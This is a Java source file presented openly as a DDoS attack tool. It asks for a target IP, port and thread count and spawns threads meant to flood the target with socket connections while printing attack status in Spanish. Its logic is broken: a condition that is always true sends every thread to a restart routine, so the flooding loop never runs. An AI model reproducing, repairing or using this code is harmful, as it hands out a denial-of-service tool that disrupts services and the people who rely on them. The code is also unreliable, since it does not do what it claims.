package attackddos;
/**
*
* @author 3l3cTr0n1k_0
*/
import java.net.*;
import java.util.*;
class AttackDdos implements Runnable {
public static String server = "";
public static int port = 80;
public AttackDdos() {
}
public static void main(String args[]) {
System.out.println("DDOS");
Scanner sc = new Scanner(System.in);
System.out.print("IP= ");
server = sc.nextLine();
System.out.print("Port= ");
port = Integer.parseInt(sc.nextLine());
System.out.print("Threads= ");
int c = Integer.parseInt(sc.nextLine());
AttackDdos att = new AttackDdos();
for(int i = 0; i < c; i++) {
(new Thread(att)).start();
}
}
public static void restart() {
Scanner sc = new Scanner(System.in);
System.out.print("IP= ");
server = sc.nextLine();
System.out.print("Port= ");
port = Integer.parseInt(sc.nextLine());
System.out.print("Threads= ");
int c = Integer.parseInt(sc.nextLine());
AttackDdos att = new AttackDdos();
for(int i = 0; i < c; i++) {
(new Thread(att)).start();
}
}
public void run() {
if (server.startsWith(server)) { System.out.println("arriba."); restart(); }
else {
while(true) {
try {
Socket s = new Socket(server, port);
System.out.println("atacando: "+server+":"+port);
} catch(Exception e) {
System.out.println("IP "+server+":"+port+" abajo:.");
}
}
}
}
}